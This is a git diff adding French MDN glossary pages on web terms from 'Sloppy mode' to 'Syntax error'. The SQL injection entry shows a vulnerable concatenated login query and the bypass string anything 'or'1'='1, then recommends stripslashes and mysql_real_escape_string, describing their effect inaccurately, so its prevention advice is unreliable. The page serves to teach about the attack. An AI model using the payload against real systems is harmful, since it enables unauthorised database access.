Autre exemple, dans developer.mozilla.org, le SLD developer sert à indiquer que le sous-domaine contient la section développeur du site web de mozilla.

+ +

Pour en savoir plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Domaine de deuxième niveau", "SLD")}} on Wikipedia
    • +
diff --git a/files/fr/glossary/sloppy_mode/index.html b/files/fr/glossary/sloppy_mode/index.html new file mode 100644 index 0000000000..3a8ecb0fb4 --- /dev/null +++ b/files/fr/glossary/sloppy_mode/index.html @@ -0,0 +1,19 @@ +--- +title: Sloppy mode +slug: Glossaire/Sloppy_mode +tags: + - Glossaire + - JavaScript +translation_of: Glossary/Sloppy_mode +--- +

En {{Glossary ("ECMAScript")}} 5 et plus tard, les scripts optent pour un nouveau mode strict, qui modifie la sémantique de JavaScript de plusieurs façons pour améliorer sa résilience et qui facilite la compréhension de ce qui se passe en cas de problème .

+ +

Le mode normal, non-strict de JavaScript est parfois appelé sloppy mode (mode bâclé). Ce n'est pas une désignation officielle, mais vous risquez de la rencontrer si vous passez du temps à faire du code JavaScript.

+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • "Strict Mode" dans le chapitre 7 ("JavaScript Syntax") dans le livre Speaking JavaScript. (en)
    • +
diff --git a/files/fr/glossary/slug/index.html b/files/fr/glossary/slug/index.html new file mode 100644 index 0000000000..455a3ac7cb --- /dev/null +++ b/files/fr/glossary/slug/index.html @@ -0,0 +1,17 @@ +--- +title: Slug +slug: Glossaire/Slug +tags: + - Glossaire + - URL +translation_of: Glossary/Slug +--- +

Un Slug est la partie d'identification unique d'une adresse Web, généralement à la fin de l'URL. Dans le contexte de MDN, c'est la partie de l'URL qui suit "<locale>/docs/".

+ +

Il peut également s'agir du dernier composant lorsqu'un nouveau document est créé sous un document parent ; par exemple, le slug de cette page est Glossary/Slug .

+ +

Voir aussi

+ + diff --git a/files/fr/glossary/smoke_test/index.html b/files/fr/glossary/smoke_test/index.html new file mode 100644 index 0000000000..0d467c2700 --- /dev/null +++ b/files/fr/glossary/smoke_test/index.html @@ -0,0 +1,27 @@ +--- +title: Test de fumée +slug: Glossaire/Test_de_fumée +tags: + - Glossaire + - tests +translation_of: Glossary/Smoke_Test +--- +

Un test de fumée (Smoke test) consiste en des tests fonctionnels ou unitaires de fonctions logicielles critiques. Les tests de fumée viennent avant d'autres tests approfondis.

+ +

Un test de fumée répond aux questions comme :

+ +
    +
  • "Est-ce que le programme démarre correctement ?"
    • +
  • "Est-ce que les boutons de contrôle principaux fonctionnent ?"
    • +
  • "Pouvez-vous enregistrer un nouveau compte d'utilisateur de test vierge ?"
    • +
+ +

Si cette fonctionnalité de base échoue, il est inutile d'investir du temps dans un travail plus détaillé à ce stade.

+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Smoke testing (software)")}} sur Wikipedia (en)
    • +
diff --git a/files/fr/glossary/smtp/index.html b/files/fr/glossary/smtp/index.html new file mode 100644 index 0000000000..061c1a1ce4 --- /dev/null +++ b/files/fr/glossary/smtp/index.html @@ -0,0 +1,22 @@ +--- +title: SMTP +slug: Glossaire/SMTP +tags: + - Collaboration + - Débutant + - Glossaire + - Infrastructure + - Partage +translation_of: Glossary/SMTP +--- +

SMTP (Simple Mail Transfer Protocol) est un {{glossary("protocol","protocole")}} utilisé pour envoyer un nouveau courriel. Tout comme POP3 et NNTP, il s'agit d'un protocole piloté par une {{Glossary("state machine","machine d'état")}}.

+ +

Le protocole est relativement simple. Les principales difficultés viennent du support des divers mécanismes d'authentification (GSSAPI, CRAM-MD5, NTLM, MSN, AUTH LOGIN, AUTH PLAIN, etc.), de la gestion des réponses en cas d'erreurs, et de trouver un moyen de réagir en cas d'échec des mécanismes d'authentification (e.g., le serveur affirme prendre en charge un mécanisme, mais ne le fait pas en réalité).

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "SMTP")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/soap/index.html b/files/fr/glossary/soap/index.html new file mode 100644 index 0000000000..6b2350311c --- /dev/null +++ b/files/fr/glossary/soap/index.html @@ -0,0 +1,26 @@ +--- +title: SOAP +slug: Glossaire/SOAP +tags: + - Glossaire + - Infrastructure + - SOAP + - WebMechanics +translation_of: Glossary/SOAP +--- +

SOAP (Simple Object Access Protocol) est un {{glossary("Protocol","protocole")}} de transmission de données au format {{glossary('XML')}}. {{glossary('Mozilla Firefox','Firefox')}} a supprimé le support de SOAP en 2008.

+ +

Pour approfondir

+ +

Culture générale

+ + + +

Référence technique

+ + diff --git a/files/fr/glossary/specification/index.html b/files/fr/glossary/specification/index.html new file mode 100644 index 0000000000..9dbdadffd0 --- /dev/null +++ b/files/fr/glossary/specification/index.html @@ -0,0 +1,23 @@ +--- +title: Spécification +slug: Glossaire/Specification +tags: + - Glossaire + - Normes +translation_of: Glossary/Specification +--- +

Une spécification est un document qui décrit en détail les fonctionnalités ou attributs que doit avoir un produit avant livraison. Dans le contexte de la description du web, le terme «spécification» (souvent abrégé simplement «spec») signifie généralement un document décrivant un langage, une technologie ou un  {{Glossary("API")}} qui constituent l'ensemble complet des technologies web ouvertes.

+ +

Pour en savoir plus

+ +

Culture génerale

+ +
    +
  • {{Interwiki("wikipedia","Spécification (norme technique)", "Spécification")}} sur Wikipédia
    • +
+ +

Référence technique

+ + diff --git a/files/fr/glossary/speculative_parsing/index.html b/files/fr/glossary/speculative_parsing/index.html new file mode 100644 index 0000000000..15342d7577 --- /dev/null +++ b/files/fr/glossary/speculative_parsing/index.html @@ -0,0 +1,36 @@ +--- +title: Optimisation des pages pour l'analyse spéculative +slug: Web/HTML/Optimizing_your_pages_for_speculative_parsing +tags: + - Avancé + - Cookies + - Développement Web + - HTML + - HTML5 + - NeedsUpdate +translation_of: Glossary/speculative_parsing +--- +

Traditionnellement dans les navigateurs, l'analyseur HTML a été exécuté sur le fil principal et a été bloqué après une balise </script> jusqu'à ce que le script ait été extrait du réseau et exécuté. L'analyseur HTML dans Firefox 4 et versions ultérieures prend en charge l'analyse spéculative sur le fil principal. Il analyse "en avant" pendant que les scripts sont téléchargés et exécutés. Comme dans Firefox 3.5 et 3.6, l'analyseur HTML lance des chargements spéculatifs pour les scripts, les feuilles de style et les images qu'il trouve à l'avance dans le flux. Toutefois, dans Firefox 4 et versions ultérieures, l'analyseur HTML exécute également l'algorithme de construction de l'arborescence HTML de manière spéculative. L'avantage est que lorsqu'une spéculation réussit, il n'est pas nécessaire d'analyser la partie du fichier entrant qui a déjà été analysée pour les scripts, les feuilles de style et les images. L'inconvénient est qu'il y a plus de travail perdu quand la spéculation échoue.
+
+ Ce document vous aide à éviter le genre de choses qui font échouer la spéculation et ralentir le chargement de votre page.

+ +

Réussir les chargements spéculatifs

+ +

Il n'y a qu'une seule règle pour réussir les chargements spéculatifs de scripts liés, de feuilles de style et d'images :

+ +
    +
  • Si vous utilisez un élément <base> pour remplacer l'URI de base de votre page, placez l'élément dans la partie non-scriptée du document. Ne l'ajoutez pas par document.write() ou document.createElement().
    • +
+ +

Éviter de perdre la sortie du constructeur d'arborescence

+ +

L'analyse spéculative du constructeur d'arborescence échoue quand document.write() change l'état du constructeur d'arborescence, au point que l'état spéculatif après la balise </script> ne tient plus lorsque tout le contenu inséré par document.write() a été analysé. Cependant, seules les utilisations inhabituelles de document.write() entraînent ce genre de problèmes. Ici, les choses à éviter :

+ +
    +
  • n'écrivez pas d'arborescences déséquilibrées. <script>document.write("<div>");</script> est mauvais. <script>document.write("<div></div>");</script> est valide.
    • +
  • n'écrivez pas de balisage infini. <script>document.write("<div></div");</script> est mauvais.
    • +
  • ne terminez pas votre écriture avec un retour chariot . <script>document.write("Hello World!\r");</script> est mauvais. <script>document.write("Hello World!\n");</script> est valide.
    • +
  • notez que l'écriture de balises équilibrées peut entraîner la déduction d'autres balises de telle manière que l'écriture est finalement déséquilibrée. Par exemple, <script>document.write("<div></div>");</script> à l'intérieur de l'élément d'en-tête sera interprété comme <script>document.write("</head><body><div></div>");</script> qui est déséquilibré.
    • +
  • ne pas formater une partie de tableau. <table><script>document.write("<tr><td>Hello World!</td></tr>");</script></table> est mauvais. Par contre, <script>document.write("<table><tr><td>Hello World!</td></tr></table>");</script> est valide.
    • +
  • À FAIRE : document.write inclus dans d'autres éléments de formatage.
    • +
diff --git a/files/fr/glossary/sql/index.html b/files/fr/glossary/sql/index.html new file mode 100644 index 0000000000..b4f022607d --- /dev/null +++ b/files/fr/glossary/sql/index.html @@ -0,0 +1,26 @@ +--- +title: SQL +slug: Glossaire/SQL +tags: + - CodingScripting + - Database + - Glossary + - Sql +translation_of: Glossary/SQL +--- +

SQL (Structured Query Language) est un langage normalisé pour mettre à jour, récupérer et calculer des données dans les tables d'une base de données.

+ +

Pour approfondir

+ +

Connaissances Générales

+
    +
  • {{Interwiki("wikipedia", "SQL")}} sur Wikipédia
    • +
+ + +

Apprendre le SQL

+ + diff --git a/files/fr/glossary/sql_injection/index.html b/files/fr/glossary/sql_injection/index.html new file mode 100644 index 0000000000..0e092c51c5 --- /dev/null +++ b/files/fr/glossary/sql_injection/index.html @@ -0,0 +1,73 @@ +--- +title: Injection SQL +slug: Glossaire/Injection_SQL +tags: + - Attaques + - Glossaire + - Sql + - Sécurité +translation_of: Glossary/SQL_Injection +--- +

L'injection SQL tire parti des applications web qui ne parviennent pas à valider les entrées utilisateur. Les pirates peuvent transmettre des commandes SQL via l'application web de manière malveillante pour exécution par une base de données principale.

+ +

L'injection SQL peut obtenir un accès non autorisé à une base de données ou récupérer des informations directement à partir de la base de données. De nombreuses violations de données sont dues à l'injection SQL.

+ +

+ +

Comment ça marche ?

+ +

+ +

Après l'entrée du nom d'utilisateur et du mot de passe, derrière l'interface graphique, les requêtes SQL fonctionnent comme suit :

+ +
"SELECT Count(*) FROM Users WHERE Username=' " + txt.User.Text+" ' AND Password=' "+ txt.Password.Text+" ' ";
+ +

Supposons maintenant que l'utilisateur entre le nom d'utilisateur : admin et le mot de passe : mdp123, puis après avoir cliqué sur le bouton Connexion, la requête SQL s'exécutera comme suit:

+ +
"SELECT Count(*) FROM Users WHERE Username=' admin ' AND Password=' mdp123 ' ";
+
+
+ +

Si les informations d'identification sont correctes, l'utilisateur est autorisé à se connecter, c'est donc un mécanisme très simple (et non sécurisé). Les pirates utilisent cette insécurité pour obtenir un accès non autorisé.

+ +

Les pirates utilisent une chaîne simple appelée chaîne magique, par exemple :

+ +

Utilisateur : admin

+ +

Mot de passe : anything 'or'1'='1

+ +

Après avoir cliqué sur le bouton de connexion, la requête SQL fonctionnera comme suit :

+ +
"SELECT Count(*) FROM Users WHERE Username=' admin ' AND Password=' anything 'or'1'='1 ' ";
+
+ +

Regardez de plus près la section mot de passe de la requête ci-dessus.

+ +
Password=' anything 'or'1'='1 '
+ +

 

+ +

Le mot de passe n'est pas 'anything' (n'importe quoi), par conséquent mot de passe = tout aboutit à FAUX (false), mais '1' = '1' est une instruction VRAIE et renvoie donc une valeur VRAI (true). Enfin, en raison de l'opérateur OR, la valeur (FALSE OR TRUE) est TRUE, de sorte que l'authentification est contournée avec succès. Juste en raison d'une chaîne simple (chaîne magique) la base de données entière est compromise.

+ +

 

+ +

Comment l'empêcher ?

+ +

Avant d'exécuter les requêtes pour les informations d'identification de l'utilisateur, apportez les modifications suivantes :

+ +
$id = $_GET['id'] 
+
+(1) $id = Stripslashes($id)
+
+(2) $id = mysql_real_escape_String($id)
+ +

Ainsi, en raison de (1) chaque guillemet simple (') dans la chaîne d'entrée est remplacé par des guillemets ("), et en raison de (2) avant chaque (') est ajouté un (/). La chaîne magique contrôlée échoue à contourner l'authentification et votre base de données reste sécurisée.

+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia","Injection_SQL","Injection SQL")}} sur Wikipedia
    • +
  • Explication de l'injection SQL sur OWASP (Open Web Application Security Project) (en)
    • +
diff --git a/files/fr/glossary/sri/index.html b/files/fr/glossary/sri/index.html new file mode 100644 index 0000000000..ae3370ef55 --- /dev/null +++ b/files/fr/glossary/sri/index.html @@ -0,0 +1,18 @@ +--- +title: SRI +slug: Glossaire/SRI +tags: + - Glossaire + - Sécurité +translation_of: Glossary/SRI +--- +

Subresource Integrity (SRI) (intégrité des sous-ressources) est une fonctionnalité de sécurité qui permet aux navigateurs de vérifier que les fichiers qu'ils récupèrent (par exemple, à partir d'un {{Glossary("CDN")}}) sont livrés sans manipulation inattendue. Cela fonctionne en vous permettant de fournir un hachage cryptographique auquel un fichier récupéré doit correspondre.

+ +
+

En apprendre plus

+ + +
diff --git a/files/fr/glossary/ssl/index.html b/files/fr/glossary/ssl/index.html new file mode 100644 index 0000000000..dee68f046a --- /dev/null +++ b/files/fr/glossary/ssl/index.html @@ -0,0 +1,22 @@ +--- +title: SSL +slug: Glossaire/SSL_Glossary +tags: + - Glossaire + - Sécurité +translation_of: Glossary/SSL +--- +

SSL (Secure Sockets Layer) est un protocole standard qui garantit que la communication entre deux applications informatiques est privée et sécurisée (ne peut être ni lue ni modifiée par des observateurs extérieurs). C'est la base du protocole {{Glossary("TLS")}}.

+ +

En apprendre plus

+ +

Culture générale

+ +

{{Interwiki("wikipedia","Transport_Layer_Security","Transport Layer Security")}} sur Wikipedia

+ +

Voir aussi

+ + diff --git a/files/fr/glossary/stacking_context/index.html b/files/fr/glossary/stacking_context/index.html new file mode 100644 index 0000000000..6fabd788a3 --- /dev/null +++ b/files/fr/glossary/stacking_context/index.html @@ -0,0 +1,18 @@ +--- +title: Contexte d'empilement +slug: Glossaire/Contexte_d_empilement +tags: + - CSS + - Encodage + - Glossaire +translation_of: Glossary/Stacking_context +--- +

Le contexte d'empilement renvoie à la façon dont les éléments d'une page web semblent se superposer à d'autres éléments, tout comme vous pouvez placer les fiches sur votre bureau côte à côte ou se chevauchant.

+ +

En apprendre plus

+ +

Culture générale

+ + diff --git a/files/fr/glossary/state_machine/index.html b/files/fr/glossary/state_machine/index.html new file mode 100644 index 0000000000..65e92b2246 --- /dev/null +++ b/files/fr/glossary/state_machine/index.html @@ -0,0 +1,47 @@ +--- +title: Machine d'état +slug: Glossaire/Machine_d_état +tags: + - Glossaire + - états +translation_of: Glossary/State_machine +--- +

Une machine d'état est une abstraction mathématique utilisée pour concevoir des algorithmes. Une machine d'état lit un ensemble d'entrées et passe à un état différent en fonction de ces entrées.

+ +

Un état est une description de l'état d'un système en attente d'exécution d'une transition. Une transition est un ensemble d'actions à exécuter lorsqu'une condition est remplie ou qu'un événement est reçu. Dans un diagramme d'état, les cercles représentent chaque état possible et les flèches représentent les transitions entre les états.

+ +

En regardant l'état final, vous pouvez discerner quelque chose sur la série d'entrées menant à cet état.

+ +

Il existe deux types de machines d'état de base :

+ +
+
machine déterministe à états finis
+
Ce type ne permet qu'une seule transition possible pour toute entrée autorisée. C'est comme l'{{Glossary("Statement","état")}} du "if" dans if x == true then doThis else doThat. L'ordinateur doit exécuter l'une des deux options.
+
machine non déterministe à états finis
+
Étant donné un état, une entrée peut conduire à plus d'un état différent.
+
+ +

Figure 1 : Machine déterministe à états finis

+ +

+ +

Dans la Figure 1, l'état commence en State 1; l'état change vers State 2 en donnant l'entrée 'X', ou vers State 3 en donnant l'entrée 'Y'.

+ +

Figure 2 : Machine non déterministe à états finis

+ +

+ +

En Figure 2, étant donné l'entrée 'X', l'état peut persister ou passer à State 2.

+ +

Notez que toute {{Glossary("regular expression","expression régulière")}} peut être représentée par une machine d'état.

+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Automate_fini","Automate fini")}} sur Wikipedia
    • +
  • {{Interwiki("wikipedia", "Automate_fini#Automates_UML","Automates UML")}} sur Wikipedia
    • +
  • {{Interwiki("wikipedia", "Machine_de_Moore","Machine de Moore")}} sur Wikipedia
    • +
  • {{Interwiki("wikipedia", "Machine_de_Mealy","Machine de Mealy")}} sur Wikipedia
    • +
diff --git a/files/fr/glossary/statement/index.html b/files/fr/glossary/statement/index.html new file mode 100644 index 0000000000..57c5438531 --- /dev/null +++ b/files/fr/glossary/statement/index.html @@ -0,0 +1,27 @@ +--- +title: Instruction +slug: Glossaire/Statement +tags: + - CodingScripting + - Débutant + - Glossaire +translation_of: Glossary/Statement +--- +

Dans un langage de programmation informatique, une instruction est une ligne de code dictant une tâche. Tout programme consiste en une séquence d'instructions.

+ +

Pour en savoir plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Instruction informatique")}} sur Wikipédia
    • +
+ +

Référence technique

+ + + +
    +
diff --git a/files/fr/glossary/static_typing/index.html b/files/fr/glossary/static_typing/index.html new file mode 100644 index 0000000000..c5e3902bf1 --- /dev/null +++ b/files/fr/glossary/static_typing/index.html @@ -0,0 +1,18 @@ +--- +title: Typage statique +slug: Glossaire/typage_statique +tags: + - Glossaire + - Programmation + - Type +translation_of: Glossary/Static_typing +--- +

Un langage à typage statique est un langage (comme Java, C ou C++) avec lequel les types des variables sont connus lors de la compilation et doivent être spécifiés expressément par le programmeur. Dans la plupart de ces langages, les types doivent être expressément indiqués par le programmeur ; dans d'autres cas (comme OCaml), l'inférence de type permet au programmeur de ne pas indiquer les types de variables.

+ +

Pour en savoir plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Type (informatique)")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/string/index.html b/files/fr/glossary/string/index.html new file mode 100644 index 0000000000..3e7b9ad844 --- /dev/null +++ b/files/fr/glossary/string/index.html @@ -0,0 +1,22 @@ +--- +title: Chaîne de caractères +slug: Glossaire/String +tags: + - Chaîne de caractères + - Débutant + - Glossaire + - String +translation_of: Glossary/String +--- +

Dans les langages de programmation, le terme chaîne de {{Glossary("character","caractères")}} (String) est utilisé pour représenter du texte.

+ +

En {{Glossary("JavaScript")}}, une chaîne de caractères est l'une des {{Glossary("Primitive", "valeurs primitives")}} et l'objet {{jsxref("String")}} est un {{Glossary("wrapper")}} enveloppant une primitive String.

+ +

Pour approfondir

+ +

Culture générale

+ + diff --git a/files/fr/glossary/stun/index.html b/files/fr/glossary/stun/index.html new file mode 100644 index 0000000000..9e381e802e --- /dev/null +++ b/files/fr/glossary/stun/index.html @@ -0,0 +1,27 @@ +--- +title: STUN +slug: Glossaire/STUN +tags: + - Glossaire + - Infrastructure + - STUN + - WebMechanics + - WebRTC +translation_of: Glossary/STUN +--- +

STUN (Session Traversal Utilities for NAT) est un protocole auxiliaire servant à transmettre des données dans un environnement avec du {{glossary("NAT")}} (Network Address Translator). STUN retourne l'{{glossary("IP address","adresse IP")}}, le {{glossary("port")}} et l'état de la connectivité d'un ordinateur en réseau derrière un NAT.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Simple_Traversal_of_UDP_through_NATs", "STUN")}} sur Wikipédia
    • +
  • Protocoles WebRTC
    • +
+ +

Référence technique

+ + diff --git a/files/fr/glossary/svg/index.html b/files/fr/glossary/svg/index.html new file mode 100644 index 0000000000..5cc1f8bbad --- /dev/null +++ b/files/fr/glossary/svg/index.html @@ -0,0 +1,39 @@ +--- +title: SVG +slug: Glossaire/SVG +tags: + - Débutant + - Encodage + - Glossaire + - Graphismes + - SVG +translation_of: Glossary/SVG +--- +

Scalable Vector Graphics (SVG) est un format d'image vectorielle 2D basé sur une syntaxe {{Glossary("XML")}}.

+ +

Le {{Glossary("W3C")}} a commencé à travailler sur SVG à la fin des années 90, mais SVG n'est devenu populaire qu'avec la sortie d'{{Glossary("Microsoft Internet Explorer", "Internet Explorer")}} 9, supportant le SVG. Tous les principaux {{Glossary("navigateur","navigateurs")}} le prennent maintenant en charge.

+ +

Basé sur une syntaxe {{Glossary("XML")}}, SVG peut être stylé avec {{Glossary("CSS")}} et être rendu interactif grâce à {{Glossary("JavaScript")}}. HTML5 permet à présent d'intégrer directement des {{Glossary("Balise","balises")}} SVG au sein d'un document {{Glossary("HTML")}}.

+ +

SVG étant un format d'image vectorielle, les images SVG peuvent être redimensionnées à l'infini, ce qui les rend inestimables pour la {{Glossary("Responsive web design","conception web adaptative")}}, car elles permettent de créer des éléments d'interface qui s'adaptent à toutes les tailles d'écran. SVG fournit également un ensemble d'outils, comme du clipping, des masques, des filtres et des animations.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "SVG")}} sur Wikipédia
    • +
+ +

Apprendre le SVG

+ + + +

Informations techniques

+ + diff --git a/files/fr/glossary/svn/index.html b/files/fr/glossary/svn/index.html new file mode 100644 index 0000000000..855295d7b5 --- /dev/null +++ b/files/fr/glossary/svn/index.html @@ -0,0 +1,25 @@ +--- +title: SVN +slug: Glossaire/SVN +tags: + - Collaboratif + - Glossaire + - SVN +translation_of: Glossary/SVN +--- +

SVN (pour Apache Subversion) est un logiciel libre de gestion du contrôle de système  ({{Glossary("SCM")}}). Il permet aux développeurs de conserver un historique des modifications de texte et de code. Bien que SVN puisse également gérer les fichiers binaires, nous ne vous recommandons pas de l'utiliser pour de tels fichiers.

+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • Official website
    • +
  • {{Interwiki("wikipedia", "Apache_Subversion")}} on Wikipedia
    • +
+ +

Apprendre sur ce sujet

+ + diff --git a/files/fr/glossary/symbol/index.html b/files/fr/glossary/symbol/index.html new file mode 100644 index 0000000000..a20bbb206b --- /dev/null +++ b/files/fr/glossary/symbol/index.html @@ -0,0 +1,55 @@ +--- +title: Symbole +slug: Glossaire/Symbole +tags: + - Glossaire + - JavaScript + - Partage +translation_of: Glossary/Symbol +--- +

Cette page de glossaire décrit à la fois un type de données, appelé "symbole", et la fonction de classe, appelée "{{jsxref ("Symbol","symbole")}}()", qui (entre autres) crée des instances du type de données symbole .

+ +

Le type de données "symbol" est un type de données primitif dont la qualité est d'avoir des valeurs utilisables pour rendre les propriétés d'objets anonymes. Ce type de données est utilisé comme clé pour une propriété d'objet lorsque la propriété est destinée à être privée, pour l'utilisation interne d'une classe ou d'un type d'objet. Par exemple, les clés du symbole de type existent dans divers objets JavaScript intégrés. De même, les classes personnalisées peuvent créer des membres privés de cette façon. Le type de données de symbole est hautement spécialisé dans ce but, et remarquable pour son manque de polyvalence ; une instance de symbole peut être assignée à une valeur L, elle peut être contrôlée pour l'identité, et c'est tout; aucun autre opérateur ne s'applique. (Comparez ceci avec une instance de "Number", par exemple l'entier "42", qui a une panoplie d'opérateurs qui comparent ou combinent la valeur avec d'autres de son type.)

+ +

Une valeur ayant le type de données "symbole" peut être appelée "valeur de symbole". Dans l'environnement d'exécution JavaScript, une valeur de symbole est créée en appelant la fonction Symbol (), qui produit de façon dynamique une valeur unique anonyme. La seule utilisation judicieuse est de stocker le symbole, puis d'utiliser la valeur stockée pour créer une propriété d'objet. L'exemple suivant stocke le symbole dans un "var".

+ +
var  myPrivateMethod  = Symbol();
+this[myPrivateMethod] = function() {...};
+ +

Lorsqu'une valeur de symbole est utilisée comme identifiant dans une affectation de propriété, la propriété (comme le symbole) est anonyme; et est également non dénombrable. Comme la propriété n'est pas énumérable, elle n'apparaîtra pas en tant que membre dans la construction de la boucle "for (... in ...)", et parce que la propriété est anonyme, elle n'apparaîtra pas dans le tableau des résultats de "Object.getOwnPropertyNames()". Vous pouvez accéder à la propriété en utilisant la valeur de symbole d'origine qui l'a créée ou en itérant sur le tableau de résultats de "Object.getOwnPropertySymbols()". Dans l'exemple de code précédent, l'accès à la propriété se fera via la valeur qui a été stockée dans la variable myPrivateMethod.

+ +

La fonction intégrée "{{jsxref("Symbol")}}()" est une classe incomplète qui renvoie une valeur de symbole lorsqu'elle est appelée en tant que fonction, qui génère une erreur lors de tentatives d'utilisation en tant que constructeur avec la syntaxe "new Symbol() ", qui a des méthodes statiques pour accéder à la table globale de symboles de JavaScript, et qui a des propriétés statiques pour adresser certains symboles qui sont présents dans les objets couramment utilisés. La création de valeurs de symboles par la fonction Symbol() a été expliquée ci-dessus. Le lancement d'une erreur sur les tentatives d'utilisation de Symbol() en tant que constructeur est expliqué comme une précaution contre la création accidentelle d'un objet qui pourrait provoquer une confusion. Les méthodes qui accèdent au registre global de symboles sont "Symbol.for()" et "Symbol.keyFor()" ; celles-ci servent de médiateur entre la table globale de symboles (ou "registre") et l'environnement d'exécution. Le registre de symboles est principalement construit par l'infrastructure du compilateur JavaScript, et le contenu du registre de symboles n'est pas disponible pour l'infrastructure d'exécution de JavaScript, à l'exception de ces méthodes de réflexion. La méthode Symbol.for("tokenString") retourne une valeur de symbole du registre et Symbol.keyFor(symbolValue) renvoie une chaîne de signes du registre ; chacun est l'inverse de l'autre, donc ce qui suit est vrai :

+ +
Symbol.keyFor(Symbol.for("tokenString"))=="tokenString";  // vrai
+ +

La classe Symbol a certaines propriétés statiques qui, paradoxalement, nomment l'anonyme. Il n'y en a que quelques unes ; elles sont pour certaines soi-disant "bien connues" des symboles. Ce sont des symboles, pour certaines propriétés de méthode sélectionnées, qui se trouvent dans certains objets intégrés. L'exposition de ces symboles permet d'avoir un accès direct à ces comportements ; cet accès peut être utile, par exemple, dans la définition d'une classe personnalisée. Des exemples de symboles connus sont : "Symbol.iterator" pour les objets de type tableau, et "Symbol.search" pour les objets de type chaîne.

+ +

La fonction Symbol() et les valeurs de symbole qu'elle crée peuvent être utiles aux programmeurs qui conçoivent une classe personnalisée. Les valeurs de symboles fournissent un moyen par lequel les classes personnalisées peuvent créer des membres privés et gérer un registre de symboles propre à cette classe. Une classe personnalisée peut utiliser des valeurs de symbole pour créer des propriétés "propres" qui sont protégées contre les découvertes accidentelles. Dans la définition de classe, la valeur de symbole créée dynamiquement est enregistrée dans une variable étendue, disponible uniquement en privé dans la définition de classe. Il n'y a pas de chaîne symbolique ; la variable portée joue le rôle équivalent d'un signe.

+ +

Dans quelques langages de programmation, le type de donnée symbole est appelé un "atome".

+ +

Symbol peut avoir une description facultative, mais à des fins de débogage uniquement.

+ +

Le type symbole est une nouvelle fonctionnalité dans ECMAScript 2015 et il n'y a pas d'équivalent en ECMAScript 5.

+ +
Symbol("foo") !== Symbol("foo")
+const foo = Symbol()
+const bar = Symbol()
+typeof foo === "symbol"
+typeof bar === "symbol"
+let obj = {}
+obj[foo] = "foo"
+obj[bar] = "bar"
+JSON.stringify(obj) // {}
+Object.keys(obj) // []
+Object.getOwnPropertyNames(obj) // []
+Object.getOwnPropertySymbols(obj) // [ Symbol(), Symbol() ]
+ +

Pour approfondir

+ +

Culture générale

+ + diff --git a/files/fr/glossary/synchronous/index.html b/files/fr/glossary/synchronous/index.html new file mode 100644 index 0000000000..8cbeb636a3 --- /dev/null +++ b/files/fr/glossary/synchronous/index.html @@ -0,0 +1,23 @@ +--- +title: Synchrone +slug: Glossaire/Synchronous +tags: + - Glossaire + - Mécanismes web + - Web +translation_of: Glossary/Synchronous +--- +

Synchrone fait référence à une communication en temps réel pendant laquelle chaque partie reçoit les messages (et, si nécessaire, les traite et y répond) dès que possible après qu'ils aient été envoyés.

+ +

Un exemple humain est le téléphone : au cours d'un appel téléphonique vous avez tendance à répondre à la personne immédiatement.

+ +

De nombreuses commandes de programmation sont synchrones, par exemple quand vous tapez un calcul, l'environnement vous retourne le résultat immédiatement, à moins que vous ne spécifiiez expressément de ne pas le faire.

+ +

Pour approfondir

+ +

Référence technique

+ + diff --git a/files/fr/glossary/syntax/index.html b/files/fr/glossary/syntax/index.html new file mode 100644 index 0000000000..e4dad27015 --- /dev/null +++ b/files/fr/glossary/syntax/index.html @@ -0,0 +1,24 @@ +--- +title: Syntaxe +slug: Glossaire/Syntaxe +tags: + - Encodage + - Glossaire + - Syntaxe +translation_of: Glossary/Syntax +--- +

La syntaxe définit les séquences et combinaisons de {{Glossary("Character","caractères")}} requises pour créer du code correctement structuré. La syntaxe diffère d'un langage à l'autre (e.g., la syntaxe est différente en {{Glossary("HTML")}} et en {{Glossary("JavaScript")}}). La syntaxe s'applique à la fois aux langages de programmation (commandes données à l'ordinateur) et aux langages de balisage (informations sur la structure de documents).

+ +

La syntaxe ne gouverne que la structure et l'odre des instructions ; ces  dernières doivent aussi avoir une signification, ce qui est le domaine de la {{Glossary("Semantics","sémantique")}}.

+ +

La syntaxe du code doit être correcte pour qu'il puisse être {{Glossary("Compile","compilé")}}, dans le cas contraire, une {{Glossary("Syntax error","erreur de syntaxe")}} se produit. Même de petites erreurs, comme une parenthèse manquante, peut faire échouer la compilation du code source.

+ +

Les frameworks sont considérés comme ayant une syntaxe "propre" s'ils produisent des résultats simples, lisibles et concis. Si un codebase utilise "beaucoup de syntaxe", il nécessitera davantage de caractères pour arriver aux mêmes fonctionnalités.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Syntaxe")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/syntax_error/index.html b/files/fr/glossary/syntax_error/index.html new file mode 100644 index 0000000000..745f05a1e0 --- /dev/null +++ b/files/fr/glossary/syntax_error/index.html @@ -0,0 +1,18 @@ +--- +title: Erreur de syntaxe +slug: Glossaire/Syntax_error +tags: + - CodingScripting + - Glossaire +translation_of: Glossary/Syntax_error +--- +

Une {{Glossary("exception")}} provoquée par l'usage incorrect d'une {{Glossary("syntaxe")}} prédéfinie. Les erreurs de syntaxe sont détectées au cours de la compilation ou de l'interprétation du code source. Par exemple, si vous oubliez de fermer une accolade (}) lors de la définition d'une fonction {{Glossary("JavaScript")}}, vous déclencherez une erreur de syntaxe. Les outils de développement des navigateurs affichent les erreurs de syntaxe {{Glossary("JavaScript")}} et {{Glossary("CSS")}} dans la console.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Syntaxe")}} sur Wikipédia
    • +
  • {{jsxref("SyntaxError")}} objet JavaScript
    • +
